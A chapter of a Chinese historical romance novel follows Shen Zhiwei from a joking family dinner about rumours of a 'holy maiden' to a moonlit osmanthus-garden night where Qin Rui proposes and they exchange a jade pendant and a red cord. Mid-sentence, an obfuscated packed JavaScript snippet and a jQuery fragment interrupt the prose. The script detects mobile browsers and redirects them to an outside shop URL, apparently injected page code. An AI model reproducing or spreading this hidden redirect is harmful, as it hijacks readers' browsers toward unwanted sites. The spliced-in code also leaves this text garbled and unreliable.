血月食象过去不过旬日,延绥总督府的晚膳时分,倒难得地热闹起来。
沈敬修近来公务稍缓,难得能与女儿好生用一顿晚饭。桌上不过四五样家常小菜,一碗甘薯熬的杂粮粥,倒是这些年父女二人用饭时始终未曾改过的简朴习惯。王嬷嬷在旁布菜,见这父女俩今日脸上都松快些,便也敢多笑两分,多嘴劝着沈知微再添半碗粥。
“知微。”沈敬修执箸的手一顿,唇边竟浮起一丝罕见的、带着几分促狭的笑意,“为父今日,倒听得一桩趣事,说与你解闷。”
沈知微诧异抬眼:“父亲何时也爱听这些闲话趣谈了?”
“是韩把总巡边归来,说与周先生听的。”沈敬修放下筷子,笑意愈发深了几分,“说是这几日,延绥边境往来的几个商队,与草原上的部落牧民,倒是传得沸沸扬扬——都道咱们延绥,降生了一位‘圣女大祭司’,通晓长生天旨意,连血月天罚这般大事都能未卜先知,道行比部落里那些老萨满还要高出一头去。”
沈知微一口粥险些呛在喉间,忙拿帕子掩了嘴,又是好气又是好笑:“这话从何说起!”
“可不是嘛。”沈敬修饶有兴致地续道,眼底笑意愈盛,“韩把总还说,有商队亲耳听得几个牧民闲聊,说这位‘圣女’不但通晓天象,还会说他们的话,竟连人心底最私密的心事都能一眼看穿。更有甚者,还有人说,往后若能得此圣女庇佑,部落便能风调雨顺,牛羊兴旺,竟有人商议着,要备下厚礼,择日‘迎请圣女’,往草原上去主持个什么祭天大典。哎呀呀,要是我家知微是这个圣女就好了,那为父可少了不少麻烦呢”
沈知微又气又笑,脸颊竟微微泛起薄红,伸手虚点了父亲一下:“父亲,您这是存心打趣女儿呢!”
“为父哪敢打趣。这不是事实嘛,难道知微还不肯用神力帮为父排忧解难吗!”沈敬修忍俊不禁,那素来清瘦持重的面容此刻竟难得地露出几分寻常父亲逗弄女儿时的憨态,“不过前面的内容,那可是韩把总原话,周先生一字不差说与为父听的。”
他说到这儿,忽然顿了一下,像是又想起什么,自己先笑了两声,才道:“要叫为父说,这‘圣女’若当真灵验,倒不妨去寻一寻。寻着她,请她给咱们延绥的粮仓水井都开开光。为父正愁这秋粮的霉烂折耗呢,若她真有这通天的本事,咱们这一年,得省下多少账面上的麻烦!”
沈知微听出父亲是在说笑话,可这笑话偏生字字都踩在她那桩不能言说的秘密上,一时心头又紧又乐,面上红得愈发厉害,只啐道:“父亲如今怎么也学着说这些没正经的话了!堂堂延绥总督,竟要去求神问卜,也不怕底下人听了笑话!”
沈敬修哈哈大笑,连王嬷嬷在一旁也憋不住,拿袖子挡着嘴直抖。这一顿晚饭,竟吃得比过年还热闹几分。
笑够了,沈敬修才渐渐收了声,端起茶盏饮了一口,语气重新沉稳下来:“话虽是玩笑,不过这份传闻,倒也未必全是坏事。”
沈知微执箸的手微微一顿,也收敛了笑容:“父亲的意思是……”
“这般‘圣女’之名,纵是荒诞不经,落在草原部落眼中,却也是货真价实的敬畏。”沈敬修沉吟道,“往后延绥边境,但凡有哪个部落存了越境劫掠的心思,想来也要先掂量掂量这位‘长生天圣女’的分量。这份虚名,倒未必不是一道无形的屏障。”
他说到这儿,忽然极轻极轻地叹了口气,那叹里又带了几分极淡的惋惜:“只是不知这位‘圣女’究竟是何方人物。若当真是延绥人,又当真在草原上有这等威望,咱们若能牵上这条线,边疆的刀兵,兴许便能少上许多。”
沈知微垂着眼,用筷子尖极慢极慢地拨着碗里那点粥,不接这个话头。沈敬修也没多想,只当她还在为方才的玩笑不好意思,便笑着岔了开去,又给她夹了一筷子菜。
这一顿闲话家常,倒教沈知微许久绷紧的心弦难得地松快了几分。饭后,她独自在庭院里散步消食,望着那株老槐新叶已是一片浓绿,忽而想起父亲方才那番玩笑,唇边又不自觉地浮起一丝笑意。这般被人当作“圣女”敬奉的荒诞际遇,若是讲与六百年后的师友听闻,只怕谁也不会相信。
这般轻快的心绪,却未能持续太久。
周慎行寻了来,手里捧着一份刚刚誊清的文书,神色间带着几分她熟悉的凝重。但凡这般神情,多半又是延绥政务上的要紧事。
“姑娘。”他压低了声音,“三边行辕那边,又有公文到了。”
沈知微心底那点轻快悄然沉淀下去,接过文书就着廊下灯火细看。依旧是那般公事公办、措辞周全的口吻,只是这一回,所议之事却比波罗堡饷银那般琐碎公案分量重了许多。
文书里言道,入秋以来,流民残部又有几处死灰复燃的迹象,尤以晋陕交界一带声势渐盛。三边行辕拟于秋后再度会集三省之师,合围清剿。这一回,行辕不仅要求延绥依例协济粮草,更点明延安协剿营须得抽调全部精锐,一体听候总督行辕统一节制调遣,不再循“原建制随军”旧例。
沈知微看罢,指尖轻轻叩着那份文书,眉心渐渐蹙紧。
“这一回。”她低声道,“洪总督怕是要真收拢延安营了。”
周慎行点头,声音也低了下去:“东翁已经看过了,只让老仆先拿给姑娘过目。这桩事,姑娘与东翁,怕是要好生商量个对策。”
沈知微将文书折好,轻轻压在案上,道:“我知道了。明日,我同父亲细说。今晚周先生先莫要与旁人说,免得营中弟兄听去,平白生出不安。”
周慎行郑重应下,退了出去。庭院里便只剩沈知微一人。夜风从北边吹过来,带着秋初的凉意,将那点饭后的温情笑意彻底吹散了。她立在廊下,望着手中那份文书,又望向远处延安协剿营校场所在的方向,心底那份始终未曾言明的忧虑,此刻比任何时候都更加清晰地浮上了心头。
但这一夜,她没有再想下去。有些事,急不得,也躲不开。她只将那文书在案上又看了片刻,便转身回房。王嬷嬷已经铺好了床,正往灯里添油,见她进来,忽然又想起什么似的,从怀里掏出一样东西,神神秘秘地递过来。
沈知微一看,便笑了。那是半块用油纸包着的月饼,饼面上刻着极粗犷的花纹,一看便是街边摊子上买的。
“哪来的月饼?这离中秋还有些日子呢。”
“是秦小爷今日来时,顺路买的。”王嬷嬷笑得眉眼弯弯,“他说,今年这摊子出得早,他尝着觉得好,便多买了一块,请老奴转交给姑娘。还说,这月饼,等到了八月十六,月亮最圆的时候再吃,最应景。”
沈知微捧着那块油纸包的月饼,低低“嗯”了一声。油纸缝里,透出一股极淡极淡的、甜丝丝的桂花香。
“这人,也是有趣。”王嬷嬷还在絮叨,“巴巴地送块月饼,还要挑日子吃。”
沈知微没说话,只将那块月饼轻轻放在枕边。她忽然想起几日前的夜里,他送她回府时,在阶下踌躇了好一会儿,才极轻极轻地说了一句“过些日子,月色该好了”。那时她只当他是随口一说,如今才觉出,那话里大约藏着一个还没说完的邀约。
她望着枕边那半块月饼,心里那点被公文压下去的轻快,竟又像水里的气泡一样,极轻极轻地重新浮了上来一点。
八月十五这日傍晚,秦锐照例来送军情。这几日延安协剿营的秋操刚收,营中诸事渐少,他送来的军报也薄了几分。沈知微在偏厅里接了,见他一身戎装未卸,额角还挂着薄汗,显是从校场上直接过来的。
“营里这几日还太平?”她问,随手翻着军报,语气是公事公办的平淡。
“回姑娘,太平。”秦锐道,“秋操完了,王头领让弟兄们轮着歇两日。只留了值哨的,也没什么事。”
“嗯。”沈知微将几份军报翻完,搁在案头,“辛苦你了。明晚不必再跑一趟,留在营里歇着吧。”
“末将不累。”秦锐道,顿了顿,又像是下了什么极重大的决心似的,补了一句,“姑娘明日……可有什么要紧的差事?”
沈知微抬头看他。秦锐这人在她面前素来算得上磊落,可此刻却极微妙地别开了眼,只将视线落在案角那摞军报上。他的耳根又红了,红得极快极明显,像一滴朱砂落进了清水里,洇得满处都是。
“明日?”沈知微故作思索,“明日记不清了,好像没有。”
“那……末将想请姑娘出去走走。”秦锐说。这一回,他的眼睛终于抬起来,极快地望了她一下,又飞快地垂下去,“不是节庆,也没什么由头。就是这阵子城里几处桂花都开了,末将白日里巡街时,打西城那处老园子外头过,香得厉害。想着,姑娘若得空,一道去看看。”
他说完,又急着补了一句:“只去半个时辰,不耽误姑娘的公事。”
沈知微望着他。她忽然觉得,这个人实在有些好笑。请她去逛灯市时,也是一副豁出去的模样;请她看桂花,也这样。明明都是在延安城里,明明都是极寻常的事,可他每回都说得像是要去赴一场极要紧的军情,小心翼翼,又全无章法。
“明日。”她轻声道,“明日晚饭后,你来府门口。”
秦锐像得了什么天大的恩赏,那双眼睛“噌”地就亮了起来。他极重极重地点了点头,连声音里都透着一股子压不住的欢喜:“末将记下了!”
他说完,行了个极标准的军礼,转身便走了。那步子快得像一阵风,连甲片都没响几声,人便已经出了偏厅,只余下院中那几棵将黄未黄的槐叶,在风里轻轻摆着。
沈知微慢慢坐回案前,翻了翻那几份军报。军报上的字她一个也没看进去,只觉着那上面一行一行的,都像浮着的,飘着,怎么也落不到眼里去。她忽然就笑了。那笑极轻,像一枚被风吹动了的银铃,在这渐渐暗下来的黄昏里,极细极轻地响了一下。
八月十六,晚。
秦锐比约定的时辰早到了小半刻。
沈知微出府时,天还没有全黑。西边的天光已经收尽了,只余下一层极淡极淡的灰蓝色,像一方被水洗旧了的青绢。月亮从东边升起来,极圆极亮,白晃晃地照着,连地上一块一块的青石板都照得清楚。秦锐仍是那身月白袍子,外头罩了件薄薄的玄色披风,头发束得整整齐齐,见沈知微出来,先是一愣,随即那笑便从眼角眉梢漫开来,收都收不住。
“姑娘。”他上前两步,又极有分寸地停住了。
沈知微今日倒没刻意打扮,只换了身浅杏色的对襟衫子,外头披了件豆青的薄斗篷,发间还是那支素银簪。可秦锐那眼神,却像她今日穿了什么了不得的锦衣华服,亮得有些傻气。
“走吧。”沈知微笑笑,先迈了步。
延安城的八月,白天还有些余暑,到了夜里便凉快下来了。风从城外的塬上吹来,带着庄稼将熟的焦香,和一点极淡极淡的、混在草木里的桂香。他们沿着正街慢慢走,路上行人已经不多。几间铺子还开着门,挂在外头的灯笼在风里轻轻地晃,将那些青石板与灰墙都映得温温吞吞的。
秦锐果然领着她往西城去。那处老园子在一条极僻静的巷子深处,园子久不住人了,两扇旧木门虚掩着,门外几株老桂,却在夜里开得极盛。那香先是极淡极淡的,像风从极远处捎来的一点信;待走近些,便浓了,浓得化不开,像有人把一整个秋的甜都揉碎了,洒在这半条巷子里。
沈知微仰起脸,闭了闭眼。那桂香像水,从她眉眼间漫过去,凉丝丝的,又裹着一层蜜一样的暖。她闻了好一会儿,才睁开眼睛,却见秦锐没看那桂树,只偏过头,极安静地望着她。月光从桂枝间漏下来,碎碎地落在他脸上,将那清俊的轮廓勾得极柔,像一尊被月光浸出来的像。
“看我做什么?”沈知微问。声音轻得像是怕惊碎了这满巷的花香。
“没、没什么。”秦锐慌忙别开脸,耳根又红了起来。他这人在军中素来沉稳,偏生在她面前总像变了个人,手脚都不知该往何处安放,只能拿眼睛东看西看,最后极不自然地指了指园子里头,“这园子,前几日还没开得这样好。姑娘若是喜欢,咱们再走近些。”
沈知微点点头,便跟着他慢慢走到园门外。那两扇旧木门虚掩着,推开来,里头荒草没膝,只一条极窄的小径还隐约可辨。秦锐在前头引着,极自然地将挡路的几枝枯藤拨开,又回头看她,像怕她走不稳当。沈知微提着裙摆,小心翼翼地踏上去。那园中极静,只闻得虫鸣与风过枝梢的轻响。月亮已经升得高了,白汪汪地铺了一地,连那些荒草都像镀了层银。
寻到园子深处一处旧石阶,两人便并排坐了下来。
那石阶很旧了,凉意透过薄薄的衣料渗上来。风从园子那头吹过来,将两人的衣摆吹得轻轻拂动。沈知微坐着,望着头顶那轮极圆极亮的月亮,忽然道:“你是不是特意挑的今日?说是什么八月十六月亮最圆。”
秦锐一怔,随即笑了。那笑里有被人戳破的微窘,也有几分坦然的欢喜:“末将小时候听人说,十五的月亮十六圆。昨日营里还要值夜,怕误了时辰,便斗胆请了姑娘今日。”
沈知微侧过头看他。月光下,他的眉眼都镀着一层极淡极淡的银,像从哪个旧折子戏里走出来的、极清朗极干净的少年将军。她忽然便想起了许多年前那个灯市,他仰着头去摘那盏走马灯时的模样。那时候他也是这样,为了她一句“我要那个”,便挤进人群里去,连想都不想。
“秦锐。”她忽然叫了他的名字。
秦锐极明显地坐直了身子,像被这一声给钉住了似的:“姑娘,怎么?”
“你别总在我面前这样小心。”沈知微说。声音很轻,像这园子里的风,又软又慢,“像在军营里对上官一样。我们不是朋友吗?”
秦锐张了张嘴,又合上。他望着她,那眼里的光,像被这一句话给搅动了,一层一层地漾开。好半晌,他才极轻极轻地应了一声:“知道了。”
他应得这样乖,倒教沈知微忍不住笑了起来。那笑声极清,像一粒极小的银珠子,从这八月十六的夜里,极慢极慢地滚过去。
“坐近些。”她又道,目光仍望着那轮月亮,“又不是在校场列队,隔那么远做什么。”
秦锐犹豫了一下,到底还是将身子往她这边移了移。两人之间,便只隔了不到半尺。风从他们中间穿过去,带着那满园子的桂香,和一点极淡极淡的、属于彼此衣襟间的气息。沈知微仍旧望着月亮,可她知道,他的眼睛,大约又落在了她身上。
他们便这么坐了好一会儿,说些极闲极散的话。秦锐讲营里新来的几个弟兄,讲秋操时谁家后生从马上摔下来,栽进草垛子里,爬起来时满脸草屑,被石彪笑了整整三日。沈知微便也跟他说些府里的琐事,说王嬷嬷这些日子总琢磨着要腌桂花糖,满院子追着人问哪棵桂花开得最香。她说着说着,自己先笑起来,秦锐也跟着笑。那笑在这月光里,极轻极暖,像一层极薄极薄的绒。
这八月十六的月亮,真圆啊。她想。圆得像是把好些个夜里缺掉的、盼着的、不敢明说的什么,都一并补回来了。
“姑娘。”秦锐忽然极轻极轻地开口了。他的声音比方才低了许多,像是从喉咙深处慢慢提上来的,每一个字都像在舌尖上先称量了一遍。
沈知微转过头来。月光正照着他的半张脸,那下颌的弧线被描得极清,像一柄极年轻的刀,还未曾真正饮过血,却已经有了让人不敢逼视的锋芒。
“末将今日,有样东西,想给姑娘。”他说。他侧过身,从怀中极郑重地取出一样东西。那东西用一方素白的帕子包着,帕子四角都按得平平整整,像里头裹着什么极要紧的、不能见风的东西。
他极轻极轻地将那帕子打开来。里面是一枚玉佩,极小的,不过拇指肚大小,通体莹白,只在最中间透着一丝极淡极淡的水绿,像是把一整个初春都凝了进去。那玉被月光一照,竟像从里头自己生出一层光来,温温润润的,不刺眼,却教人移不开眼。
“这是……我娘的。”秦锐说。他不再自称“末将”了。那两个字从他嘴里出来,像是一下子把这满园的月光都唤得软了下来,“她走的时候,留给我两样东西。一样,是我爹的刀。另一样,就是这个。”
沈知微怔怔地望着那枚玉佩。她忽然觉着喉咙里像堵着一小团什么,又软又胀,吞不下去,也吐不出来。
“我娘说,这玉是她成亲时,我外婆传下来的。”秦锐的声音很轻,轻得像怕惊碎了这满园的静,“她说,等我遇见了想娶的姑娘,就把这个给她。”
他说到这儿,极轻极轻地停了一下。风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891015|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从桂树间穿过来,将他的话都吹得有些散了。
“沈知微。”他忽然极轻极轻地叫了她的全名。
沈知微浑身都像被这一声给定住了。
“我想娶你。”他说,“不是现在。是往后,等我有了功名,有了能配得上你的身份。我想在往后的某一个八月十六,像今天这样的月亮底下,用八抬大轿,把你从沈府里,堂堂正正地抬出去。”
沈知微望着他。她看见他眼底那层光,像一簇被月光引着的、极亮极烫的火,那么年轻,那么真,那么不要命。她的心口像被什么极重极重地捶了一下,又像被什么极软极软地裹了一下。她忽然说不出话来。
她知道,自己该高兴。她甚至能感觉到,自己心底,是真真切切地喜欢着眼前这个人的。喜欢他傻气,喜欢他亮堂堂的眼睛,喜欢他每一回在她面前红着耳根说“末将不累”的模样。这喜欢,不是一日两日了。可正因为喜欢,她才更觉着心里一阵一阵地发紧,发疼。
这大半年,她头顶总悬着一把刀。那把刀,叫“圣意”。说降下来,便要降下来。若真有那么一日,她被一纸诏书召进深宫,或配给哪家宗室,他今日这番少年意气的许诺,便都要成了空。他这样年轻,这样好,前头本该有更大的前程,更好的姻缘。她如何能让他为了自己,去做那等明知是绝路、却还一头撞进去的傻事。
“若是我进宫了呢?”她听见自己问。那声音极低,低得像从极深极深的水底浮上来的,“若是我,身不由己呢?”
秦锐忽然转过了脸。他极定极定地望着她,那双眼睛像两粒被月光洗过的星子,亮得让人不敢迎视。他说:“那我就去把你从宫里接出来。多远,多难,都要把你接出来。”
沈知微浑身一僵。
“我知道,你身上有别的担子。”秦锐说。他的声音极静,静得像这满园子起伏的虫鸣都跟着低了下去,“我不问你那是什么,也不逼你。可我秦锐,既然已经认定了你,便会朝这个念想走。一天走不到,便走一年。一年走不到,便走十年。若这一世真走不到——”
他极轻极轻地笑了一下,那笑里带着几分少年人独有的、倔强得近乎残忍的笃定:“那也要死在这条路上。不会回头。”
他说到这儿,忽然像被什么东西点着了似的,整个人“腾”地一下从石阶上站起来。沈知微还没回过神来,便见他弯下腰,在那满园的荒草与落枝间极快地扫了一眼,然后一伸手,从地上捡起了一根枯枝。
那枯枝不知是什么树上落下的,竟极直,极长,握在手中,倒像一柄去了鞘的剑。秦锐将它掂了掂,极自然地往后退开两步,手腕一抖,那枯枝便“嗡”地一声,在月光里划出一道极清极劲的弧。
“姑娘。”他道,声音里还带着方才那点没散尽的滚烫与认真,“末将这些年,在营里学的,可不只是站队列阵。”
他说着,手腕一翻,那根枯枝便活了。起初还只是极寻常的劈、刺、撩、挂,一招一式,都像在校场上演练给上官看的那般,板板正正,带着点少年人刻意压着的得意。可舞着舞着,他便放开了。那根枯枝在他手中越使越快,越使越顺,月光下只见一道灰白的影,忽上忽下,忽左忽右,卷起地上的碎叶与草屑,像一阵被风裹着的小小龙卷。
秦锐本就生得高而挺拔,又生着一把窄腰长腿,此刻在月下舞起剑来,衣袂翻飞,倒真如一只从桂花影里忽然掠起的鹤。沈知微坐在石阶上,怔怔地望着他。她这些年在营中见他,多是披甲按刀,或是排兵布阵,何曾见过他这副模样——像把满身的少年意气与这许多年憋着的一股劲,全揉进了这月下的一根枯枝里,一招一式,都带着一股不管不顾的、烫得灼人的生命力。
秦锐越舞越急,最后一个极漂亮的转身,手中枯枝一记斜劈,正正削在阶旁一丛半人高的野蒿上,那野蒿齐腰断去,簌簌地倒伏在地。他这才收势站定,额上已经沁出一层薄汗,那件月白袍子的袖口也沾了几片不知名的碎叶。他回过头来,望着沈知微,胸膛微微起伏着,眼睛却亮得像两颗从水里捞起来的星子。
“姑娘瞧见了。”他说,气息还有些喘,语气却认认真真,“若真有那日,千军万马,宫墙九重,我也一样,提刀杀进去,把你带出来。”
沈知微坐在那里,望着他,一时竟不知该笑,还是该哭。她看见他额角的汗,在月光下亮晶晶的,顺着他极清俊的下颌线,慢慢滑下来,像一滴未经世事的、最干净的露。她忽然就笑了。那笑极轻,却极真,带着一点极淡极淡的鼻酸,像被这满园的桂花与月光,一并催开的花。
“就你。”她说。声音软得不像她自己,“拿根枯枝,也想杀进宫去。”
“那自然不能拿枯枝。”秦锐也笑了。他低头看了看手中那根已经有些劈裂的枯枝,有些不好意思地挠了挠后脑勺,又将它端端正正地放到一旁,才走回她身前,极轻极轻地蹲了下来,视线与她齐平,“可今日没带刀。等哪日我带上了那口好刀,再舞一次给姑娘看。”
沈知微望着他近在咫尺的脸。月光将他的眉眼描得极清,那眼神又热又真,带着少年人独有的、笨拙而滚烫的郑重。她忽然觉得,心里那根绷了太久太久的弦,竟被这双眼睛,看得又酸又软。
“好。”她轻声说,“我等着。”
秦锐便又笑了。这一回,他笑得极傻,像得了这世上最好最好的应允。他慢慢抬起手来,像是想替她将落在发间的那片桂花摘去,可手指还没触到她的发,又极快地缩了回来,只低着头,耳朵红得像要滴出血来。
沈知微看着他,心里那片被“圣意”压了太久的阴云,像被这一阵少年的剑风,极轻极轻地,吹开了一道缝。缝里头,是这八年里,她头一回,如此真切地,想要去握住一点什么。握住这个人的手,握住这他温热的手心,握住这八月十六的月光与桂香,握住一段,前路未卜、却仍想同他一起闯一闯的将来。
秦锐重新坐回她身旁。两人之间,又近了几分。月亮已经升到了头顶,清凌凌的光像水一样,从极高的地方倾下来,将整个荒园都浸在了一片银白里。风过桂树,又落下几瓣极细极碎的花。
“沈知微。”秦锐忽然又唤她。这一回,他不再说那些杀伐决绝的疯话,只极轻极轻地、像在说一个只有他们两人能听见的梦,“若是你不进宫,也没有那些劳什子圣意。你……愿不愿,等我几年?”
沈知微没有立刻答他。她只是极慢极慢地转过头来,望着他。月光下,他的脸那样年轻,那样好看,带着一股子不顾一切的、滚烫的认真。她忽然便想,去他的圣意。去他的宫墙。去他的那些她算不清也躲不开的命数。眼前这个人,此刻,就坐在这里,把一颗心捧到她面前,傻得让她心口发疼,也真得让她再也说不出一个“不”字。
“愿意。”她说。那两个字,极轻极轻地落下来,却像往这满园的月光里,投下了一粒极重极重的石子。涟漪一圈一圈地荡开,荡得她自己的心,都跟着晃了起来。
秦锐的眼眶,忽然就红了。他没有说话,只慢慢抬起手来,极轻极轻地,将一枚极小的、通体莹白的玉佩,放进了她手心。然后他极缓极缓地、像怕惊着她似地,将她的手指合拢了起来。
“我娘的。”他说,声音有些哽,“往后,便是你的了。”
沈知微低下头,望着掌心那枚被月光映得温润如水的玉佩。她慢慢地将它捧起来,贴在心口。那里头,有什么东西跳得极快极快,像一匹终于挣脱了笼头的野马,朝着她自己也望不见头的远方,不要命地奔去。
她探手进衣领,极轻极轻地,解下了那根系了八年的红绳。红绳旧了,退了颜色,可系着的那枚桃核,却被岁月与人气磨得发亮。她将它极郑重地放进秦锐的掌心。
“这是我极要紧的东西。”她说,声音又轻又软,像这月光下最细的一丝风,“现在,给你。”
秦锐捧起那根红绳,像捧着这世上最重最轻的一样东西。他慢慢抬手,极认真地,将它系在了自己的左腕上。那红绳贴着他的皮肤,像一道从她身上渡过来的、极细极暖的命。
风从四面八方吹来,将满园的桂花香都搅动了起来。两颗心,在这八月十六的月光下,一齐跳着,又急又重,像在替他们,把那些没说尽的话,一句一句地,都跳了出来。